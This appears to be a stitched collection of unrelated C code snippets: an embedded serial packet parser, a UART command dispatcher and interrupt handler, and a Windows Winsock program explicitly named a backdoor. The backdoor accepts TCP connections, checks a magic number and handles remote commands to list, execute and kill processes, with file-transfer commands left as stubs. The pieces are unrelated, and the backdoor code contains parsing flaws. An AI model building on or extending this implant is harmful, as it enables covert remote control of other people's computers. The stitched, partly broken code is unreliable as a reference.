// // SCI_GetPacket - This routine receives the packet, returns the // command and puts the data length in Uin16* length // and data in Uint16* data // Uint16 SCI_GetPacket(Uint16* length, Uint16* data) { if(SCIA_GetOnlyWordData() != 0x1BE4) { SendNAK(); return(100); //start packet error } *length = SCIA_GetOnlyWordData(); checksum = 0; //checksum of command and data Uint16 command = SCIA_GetOnlyWordData(); int i = 0; for(i = 0; i < (*length)/2; i++) { *(data+i) = SCIA_GetOnlyWordData(); } Uint16 dataChecksum = checksum; if(dataChecksum != SCIA_GetOnlyWordData()) { SendNAK(); return(101); //checksum error } if(SCIA_GetOnlyWordData() != 0xE41B) { SendNAK(); return(102); //end packet error } SendACK(); return(command); }
// // Process the data in the Rx buffer. // void ProcessUARTData() { switch (_rxBuffer[1]) { case COMMAND_GET_ID: break; case COMMAND_SET_ID: break; case COMMAND_GET_CARRIER_FREQUENCY: break; case COMMAND_SET_CARRIER_FREQUENCY: break; case COMMAND_GET_PULSE_DATA: SendResponse(EEPROM_PULSE_DATA, ((*EEPROM_PULSE_DATA) * 3) + 1); break; case COMMAND_SET_PULSE_DATA: break; case COMMAND_TRANSMIT_PULSE_DATA: TransmitPulseData(); SendACK(); break; default: SendNAK(EC_UNKNOWN_COMMAND); break; } _uartMode = UART_MODE_WAITING_FOR_DATA; }
__interrupt void UART_R_RXNE_IRQHandler(void) { unsigned char dataByte = UARTPORT(DR); if ((_uartMode == UART_MODE_WAITING_FOR_DATA) && (dataByte == 0xaa)) { SetupRxBuffer(); _uartMode = UART_MODE_RECEIVING_DATA; } else { if (_uartMode == UART_MODE_RECEIVING_DATA) { if (_currentRxCount < (UART_RX_BUFFER_SIZE - 1)) { *_currentRxByte++ = dataByte; _currentRxCount++; if (_currentRxCount > 1) { if ((_rxBuffer[0] - 1) == _currentRxCount) { ProcessUARTData(); } } } else { // // If we get here we have filled the UART Rx buffer. // Not a lot we can do really so reset the system to // wait for a new command. // SendNAK(EC_RX_BUFFER_OVERFLOW); _uartMode = UART_MODE_WAITING_FOR_DATA; } } } }
int _tmain(int argc, _TCHAR* argv[]) { WORD wVersionRequested; WSADATA wsaData; int err; SOCKET server_socket = INVALID_SOCKET; sockaddr_in service; // socket address to bind to wVersionRequested = MAKEWORD(2, 2); err = WSAStartup(wVersionRequested, &wsaData); if (err != 0) { // Check if error = WSAVERNOTSUPPORTED and if is -- // It means ws2_32.dll is too old. This system needs a serious update. wprintf(L"WSAStartup failed with error: %d\n", err); return -1; } // // Create a socket // server_socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (server_socket == INVALID_SOCKET) { wprintf(L"Create socket failed. Error: %u\n", WSAGetLastError()); WSACleanup(); return -1; } // // Fill in sockaddr_in -- Address family, IP address, port // service.sin_family = AF_INET; service.sin_addr.s_addr = inet_addr("127.0.0.1"); //(INADDR_ANY); //("127.0.0.1"); service.sin_port = htons(PORT_NUM); // // Bind the socket // err = bind(server_socket, (SOCKADDR *) &service, sizeof (service)); if (err == SOCKET_ERROR) { wprintf(L"Bind failed. Error: %u\n", WSAGetLastError()); closesocket(server_socket); WSACleanup(); return -1; } // // Listen for incoming connections // if (listen(server_socket, SOMAXCONN) == SOCKET_ERROR) { wprintf(L"Listen() failed. Error: %d\n", WSAGetLastError()); closesocket(server_socket); WSACleanup(); return -1; } wprintf(L"Listening on port: %d\n", PORT_NUM); // // Accept connections // SOCKET connectSocket; connectSocket = accept(server_socket, NULL, NULL); if (connectSocket == INVALID_SOCKET) { wprintf(L"Accept() failed. Error: %ld\n", WSAGetLastError()); closesocket(server_socket); WSACleanup(); return -1; } wprintf(L"New client connected!\n"); // // Receive Data // char recvbuf[RECEIVE_BUFLEN]; int bytes_received = recv(connectSocket, recvbuf, sizeof(recvbuf), 0); if ( bytes_received > 0 ) { wprintf(L"Bytes received: %d\n", bytes_received); } // // Verify valid backdoor msg // // IMPORTANT: For future need to check proper receive length char* buf_ptr = recvbuf; if(*((DWORD*)buf_ptr) == BACKDOOR_MAGIC_NUMBER) { wprintf(L"Valid Backdoor message!\n"); buf_ptr += sizeof(DWORD); switch( *((BACKDOOR_MSG*)buf_ptr)) { case BKDOOR_HEARTBEAT: wprintf(L"BKDOOR_HEARTBEAT received!\n"); SendAck(connectSocket); break; case BKDOOR_PUT_FILE: wprintf(L"BKDOOR_PUT_FILE received!\n"); break; case BKDOOR_GET_FILE: wprintf(L"BKDOOR_GET_FILE received!\n"); break; case BKDOOR_GET_PROCESS_LIST: { wprintf(L"BKDOOR_GET_PROCESS_LIST received!\n"); if(EnumerateProcesses(connectSocket)) { SendAck(connectSocket); } else { SendNAK(connectSocket); } } break; case BKDOOR_EXECUTE_PROCESS: { wprintf(L"BKDOOR_EXECUTE_PROCESS received!\n"); BKDOOR_PROCESS_REQ req = *((BKDOOR_PROCESS_REQ*)recvbuf); if(ExecuteProcess(req.szExeFile)) { SendAck(connectSocket); } else { SendNAK(connectSocket); } } break; case BKDOOR_KILL_PROCESS: { wprintf(L"BKDOOR_KILL_PROCESS received!\n"); BKDOOR_PROCESS_REQ req = *((BKDOOR_PROCESS_REQ*)recvbuf); if(KillProcess(req.th32ProcessID)) { SendAck(connectSocket); } else { SendNAK(connectSocket); } } break; default: wprintf(L"Error: Unknown message received!\n"); break; } } // // Cleanup // closesocket(connectSocket); closesocket(server_socket); WSACleanup(); return 0; }